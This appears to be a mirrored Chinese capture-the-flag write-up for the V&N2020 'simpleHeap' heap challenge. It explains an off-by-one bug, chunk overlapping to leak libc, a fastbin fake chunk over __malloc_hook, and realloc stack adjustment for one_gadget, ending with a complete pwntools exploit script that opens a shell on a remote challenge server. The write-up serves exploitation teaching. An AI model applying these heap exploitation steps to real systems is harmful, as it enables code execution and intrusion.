zoukankan      html  css  js  c++  java
  • [V&N2020 公开赛]simpleHeap | Extend Chunk & Realloc

    Off by One 造成 Extend Chunk,分配和删除后造成 Chunk overlapping 泄露 libc 地址,用 Fake Chunk 写入 __realloc_hook 和 __malloc_hook 调整栈帧并执行 one_gadget

    静态分析

    Off by One

    int Edit()
    {
      signed int v1; // [rsp+Ch] [rbp-4h]
      printf("idx?");
      v1 = readint();
      if ( v1 < 0 || v1 > 9 || !qword_2020A0[v1] )
        exit(0);
      printf("content:");
      read_str((__int64)qword_2020A0[v1], dword_202060[v1]);
      return puts("Done!");
    }
    

    进入 readstr():

    unsigned __int64 __fastcall readstr(__int64 a1, int a2)
    {
      unsigned __int64 result; // rax
      unsigned int i; // [rsp+1Ch] [rbp-4h]
    
      for ( i = 0; ; ++i )
      {
        result = i;
        if ( (signed int)i > a2 )
          break;
        if ( !read(0, (void *)((signed int)i + a1), 1uLL) )
          exit(0);
        if ( *(_BYTE *)((signed int)i + a1) == 10 )
        {
          result = (signed int)i + a1;
          *(_BYTE *)result = 0;
          return result;
        }
      }
      return result;
    }
    

    读入字符串的边界条件存在问题,对于记录着大小为 a1 的 chunk,可以读入 a2 + 1 个字符

    利用 Off By One 可以覆盖掉物理相邻的下一个堆块 size 的最后一个字节(前提是修改的堆块大小为 0x8 的奇数倍,详见图解)

    即修改了物理相邻的下一个堆块的 size 位,若写入一个较大的数,即可造车给 Chunk Extend (堆块延长)

    具体过程

    首先如图所示分配堆块,最下面的 Chunk 是防止 Top Chunk 向前生长的

    第二步修改 idx0 的内容,溢出一字节覆盖到 idx1 的 size 位,使其伪造成一个总空间为 0xe1 的 Chunk

    在 free(idx1) 之后,由于 size 超出了 fastbin 的范围,所以 idx1 释放后会进入 unsorted bin

    需要注意的是 free 会验证 idx1 + 0xe0 的位置是不是一个 Chunk 头,如果不是会失败,这里是 idx3 的 Header

    unsortbin:
    all: 0x55f1ebc28020 -> 0x7fed444b9b78 (main_arena + 88)
    

    此时再分配一个 0x60 的堆块,由于 fastbin 里没有 Free Chunk,程序会再 unsorted bin 的 idx1 中进行切割,如图:

    切割的过程中,切割出的 idx4(此时索引中还没有) 成为了 unsorted bin 中新的唯一 Chunk,其 fd 指针指向 main_arena + 88

    unsortbin:
    all: 0x55f1ebc28090 -> 0x7fed444b9b78 (main_arena + 88)
    

    注意到此时 idx4(此时索引中还没有) 和 idx2 是同一个堆块,idx4 是我们保存过的,所以可以通过 show(idx) 泄露出 main_arena 地址

    这样就泄露出了 libc 的基址,我们希望通过覆写 __malloc_hook 来控制程序的执行流

    因为此时 idx2 和 idx4 是重叠是,所以一个 edit,一个 allocate 可以实现我们的目的

    首先生成索引中的 idx4(content: 0x60)然后 delete,此时该 Chunk 释放进入了 fastbin

    然后用 idx2 写入 Fake Chunk 的地址到 idx2/idx4 的 fd 中(__malloc_hook-0x23),为什么是这样 看这里

    当我们再两次 allocate 的时候,Fake Chunk 就成功在 __malloc_hook-0x23 生成,我们通过其覆写 __malloc_hook 劫持控制流

    Realloc

    直接用 one_gadget 写入 __malloc_hook 会失败,因为所需 getshell 条件没有被满足

    对于这道题要使用 libc 中的 realloc 函数调整栈帧结构,使栈帧满足 one_gadget 的条件

    __realloc_hook 和 __malloc_hook 有着差不多的含义,即在调用 realloc/hook 的时候会检查 hook 是否为 NULL,如果不是则先执行 hook

    首先要晓得 __realloc_hook 和 __malloc_hook 在物理上的相邻的,所以我们的 payload 可以同时覆写这两者

    即: payload = 'a'*(0x13-0x8) + p64(gadget) + p64(realloc+13)

    这里的 gadget 是写入 __realloc_hook 的,relloc+13 是写入 __malloc_hook 的

    程序的执行流是:__malloc_hook -> realloc+offset -> __realloc_hook -> one_gadget

    结合 realloc 的代码就好理解了

    realloc 在调用 __realloc_hook 之前,首先会执行一系列的 push 压栈,结束前会悉数弹出

    如果我们首先在 relloc+offset 开始执行,少了一些 push,会把栈帧抬高,在最后执行 one_gadget 的时候 esp 的地址会发生改变

    下图是 relloc 和 relloc+4 的调试结果,可以看出 esp 的相对值是增大的

    通过调试构造出 one_gadget 的条件,以此 GetShell

    在这道题中,需要使用 rsp+0x30 这个 one_gadget,并且从 relloc+13 开始执行,远程即可打通

    尽管加载了相同的 libc,但本地的情况不太一样,需要慢慢调整选择正确的 one_gadget 和 realloc+offset

    EXP

    from pwn import *
    #ld_path = '/home/harvey/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so'
    #libc_path = '/home/harvey/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so'
    libc_path = './libc-2.23.so'
    elf_path = './vn_pwn_simpleHeap'
    #io = process([ld_path, elf_path], env={'LD_PRELOAD':libc_path})
    io = remote('node3.buuoj.cn', '28315')
    #one_gadget = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
    one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    libc = ELF(libc_path)
    context.log_level = 'debug'
    
    def debug():
    	gdb.attach(io)
    	pause()
    def cmd(x):
    	io.sendlineafter('choice: ', str(x))
    def add(size, content):
    	cmd(1)
    	io.sendlineafter('size?', str(size))
    	io.sendlineafter('content:', content)
    def edit(idx, content):
    	cmd(2)
    	io.sendlineafter('idx?', str(idx))
    	io.sendlineafter('content:', content)
    def show(idx):
    	cmd(3)
    	io.sendlineafter('idx?', str(idx))
    def delete(idx):
    	cmd(4)
    	io.sendlineafter('idx?', str(idx))
    
    add(0x18, 'aaaa')
    add(0x60, 'aaaa')
    add(0x60, 'aaaa')
    add(0x10, 'aaaa')
    payload = 'a'*0x18 + 'xe1'
    edit(0, payload)
    delete(1)
    add(0x60, 'aaaa')
    show(2)
    main_arena = u64(io.recvuntil('x7f')[-6:].ljust(8,'x00')) - 88
    libc_base = main_arena - 0x3c4b20
    success('main_arena: ' + hex(main_arena))
    success('libc_base: ' + hex(libc_base))
    malloc_hook = libc_base + libc.symbols['__malloc_hook'] 
    realloc = libc_base + libc.symbols['__libc_realloc']
    fake_chunk = malloc_hook - 0x23
    add(0x60, 'aaaa') # 4 and 2
    delete(4)
    payload = p64(fake_chunk)
    edit(2, payload)
    add(0x60, 'aaaa') # 4
    gadget = libc_base + one_gadget[3]
    success('gadget:' + hex(gadget))
    offset = [0x0, 0x2, 0x4, 0x6, 0x8, 0xb, 0xc]
    payload = 'a'*(0x13-0x8) + p64(gadget) + p64(realloc+offset[5])
    # payload = 'a' * 0x13 + p64(gadget)
    add(0x60, payload)
    # success(pidof(io))
    # pause()
    cmd(1)
    io.sendlineafter('size?', '10')
    io.interactive()
    
  • 相关阅读:
    Java实现 蓝桥杯VIP 算法训练 校门外的树
    Java实现 蓝桥杯VIP 算法训练 统计单词个数
    Java实现 蓝桥杯VIP 算法训练 统计单词个数
    Java实现 蓝桥杯VIP 算法训练 开心的金明
    Java实现 蓝桥杯VIP 算法训练 开心的金明
    Java实现 蓝桥杯 算法训练 纪念品分组
    Java实现 蓝桥杯 算法训练 纪念品分组
    Java实现 蓝桥杯VIP 算法训练 校门外的树
    Java实现 蓝桥杯VIP 算法训练 统计单词个数
    Java实现 蓝桥杯VIP 算法训练 开心的金明
  • 原文地址:https://www.cnblogs.com/zhwer/p/14009340.html
Copyright © 2011-2022 走看看